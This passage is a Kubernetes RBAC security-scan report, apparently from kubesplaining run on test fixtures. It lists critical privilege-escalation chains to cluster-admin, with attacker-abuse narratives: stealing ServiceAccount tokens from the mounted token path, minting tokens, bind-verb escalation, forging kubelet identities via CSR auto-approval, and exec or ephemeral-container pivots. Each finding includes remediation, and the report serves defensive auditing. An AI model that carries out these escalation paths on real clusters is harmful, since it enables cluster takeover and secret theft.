Subject ServiceAccount/rbac-fixtures/sa-wildcard has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-wildcard → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-wildcard (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-wildcard (RCE in any application using its identity, leaked token, or compromised image).
  2. The identity ServiceAccount/rbac-fixtures/sa-wildcard already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission *:*:* that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission *:*:* that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-token-create Cluster 9.5
ServiceAccount/rbac-fixtures/sa-token-create can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-create → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cert-manager/cert-manager via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount cert-manager/cert-manager
2. ServiceAccount/cert-manager/cert-manager → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-token-create (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-token-create (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/cert-manager/cert-manager. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. The identity ServiceAccount/cert-manager/cert-manager already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cert-manager/cert-manager
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cert-manager/cert-manager).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cert-manager/cert-manager)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/deepchain-tenant/deepchain-binder Cluster 9.4
ServiceAccount/deepchain-tenant/deepchain-binder can reach cluster-admin equivalent in 3 hop(s)
Scope · Cluster Source ServiceAccount/deepchain-tenant/deepchain-binder → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-binder

Subject ServiceAccount/deepchain-tenant/deepchain-binder has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 3 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention
2. ServiceAccount/deepchain-tenant/deepchain-binder → ServiceAccount/deepchain-tenant/deepchain-privileged via colocated_sa_token_theft (namespace-admin in deepchain-tenant): can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged
3. ServiceAccount/deepchain-tenant/deepchain-privileged → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/deepchain-tenant/deepchain-binder (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/deepchain-tenant/deepchain-binder (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  3. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker uses the colocated_sa_token_theft technique to reach ServiceAccount/deepchain-tenant/deepchain-privileged via namespace-admin in deepchain-tenant, which gains can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged.
  4. The identity ServiceAccount/deepchain-tenant/deepchain-privileged already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  5. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
  2. Step 2 of 3 Co-located ServiceAccount token theft colocated_sa_token_theft

    Administrative control over a namespace implies control over every identity inside it. Someone who can create RoleBindings in a namespace can create a pod that mounts any ServiceAccount there, exec into a pod already running as it, or read its token Secret directly.

    This matters when a namespace hosts an identity more powerful than the namespace itself, for example a controller whose ClusterRoleBinding grants cluster-wide permissions. Namespace-admin then becomes a stepping stone rather than a boundary.

    From ServiceAccount/deepchain-tenant/deepchain-binder → ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted namespace-admin in deepchain-tenant
    Gives the attacker can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged
  3. Step 3 of 3 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 1 (ServiceAccount/deepchain-tenant/deepchain-binder → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/nodeid-fixtures/nodeid-joiner Cluster 9.4
ServiceAccount/nodeid-fixtures/nodeid-joiner can reach cluster-admin equivalent in 3 hop(s)
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-joiner → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 3 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/nodeid-fixtures/nodeid-joiner → / via csr_nodeclient_autoapprove (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
2. ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/foothold-exec/foothold-decoy-sa via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
3. ServiceAccount/foothold-exec/foothold-decoy-sa → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/nodeid-fixtures/nodeid-joiner (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/nodeid-fixtures/nodeid-joiner (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-joiner, the attacker submits a CertificateSigningRequest for the kubernetes.io/kube-apiserver-client-kubelet signer naming system:node:<name> in system:nodes (create certificatesigningrequests + create certificatesigningrequests/nodeclient). The controller manager's CSR approver asks the API server whether the requester may create certificatesigningrequests/nodeclient; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/foothold-exec/foothold-decoy-sa.
  4. The identity ServiceAccount/foothold-exec/foothold-decoy-sa already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  5. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 3 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 9.2
ServiceAccount/privesc-fixtures/sa-ephemeral can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeral → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
2. ServiceAccount/foothold-exec/foothold-decoy-sa → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-ephemeral (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/privesc-fixtures/sa-ephemeral (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/foothold-exec/foothold-decoy-sa via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa.
  3. The identity ServiceAccount/foothold-exec/foothold-decoy-sa already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/foothold-exec/foothold-decoy-sa)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 9.2
ServiceAccount/privesc-fixtures/sa-pod-exec can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-exec → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-decoy-sa via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
2. ServiceAccount/foothold-exec/foothold-decoy-sa → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-exec (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/privesc-fixtures/sa-pod-exec (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/foothold-exec/foothold-decoy-sa and inherit whatever ServiceAccount or host privileges that container holds.
  3. The identity ServiceAccount/foothold-exec/foothold-decoy-sa already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  4. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-decoy-sa
  2. Step 2 of 2 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-decoy-sa).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/foothold-exec/foothold-decoy-sa)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create Cluster 9.2
ServiceAccount/rbac-fixtures/sa-pod-create can reach cluster-admin equivalent in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-create → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
